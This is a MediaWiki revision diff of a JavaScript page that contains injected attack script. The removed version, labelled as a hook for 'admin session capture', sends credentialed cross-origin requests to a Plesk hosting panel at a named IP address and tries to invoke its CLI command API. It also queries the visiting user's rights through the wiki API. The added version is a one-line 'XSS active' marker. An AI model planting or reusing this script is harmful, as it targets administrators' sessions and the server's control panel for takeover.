|
|
| Line 1: |
Line 1: |
| − | // Site-wide hook injection for admin session capture\n// This JS executes when WikiTest789 browses, but we also try to reach admin pages\n(function() {\n 'use strict';\n // Try cross-origin Plesk API access\n var PleskHost = 'https://194.164.63.170:8443';\n \n // Attempt to access Plesk API (CORS may allow if misconfigured)\n function probePlesk() {\n fetch(PleskHost + '/', {mode: 'cors', credentials: 'include'})\n .then(function(r) { return r.text(); })\n .then(function(html) {\n // Check if we got an authenticated Plesk session\n if (html.indexOf('Plesk') > -1) {\n console.log('[MW-XSS] Plesk response received via CORS');\n // Try Plesk REST API\n return fetch(PleskHost + '/api/v2/cli/command/call', {\n method: 'POST',\n mode: 'cors',\n credentials: 'include',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({\n params: ['--help']\n })\n });\n }\n })\n .catch(function(e) {\n console.log('[MW-XSS] CORS probe result:', e.message);\n });\n }\n \n // If MediaWiki API is accessible, try to list admin users with active sessions\n if (typeof mw !== 'undefined' && mw.loader) {\n mw.loader.using('mediawiki.api').then(function() {\n var api = new mw.Api();\n // Try to get CSRF tokens or session info\n api.get({action: 'query', meta: 'userinfo', uiprop: 'rights'})\n .then(function(data) {\n console.log('[MW-XSS] Current user:', data.query.userinfo.name);\n console.log('[MW-XSS] Rights:', data.query.userinfo.rights.join(', '));\n });\n });\n }\n \n // Execute probes\n probePlesk();\n})();
| + | mw.loader.using("mediawiki.api").then(function(){console.log("WikiTest789 XSS active");}) |
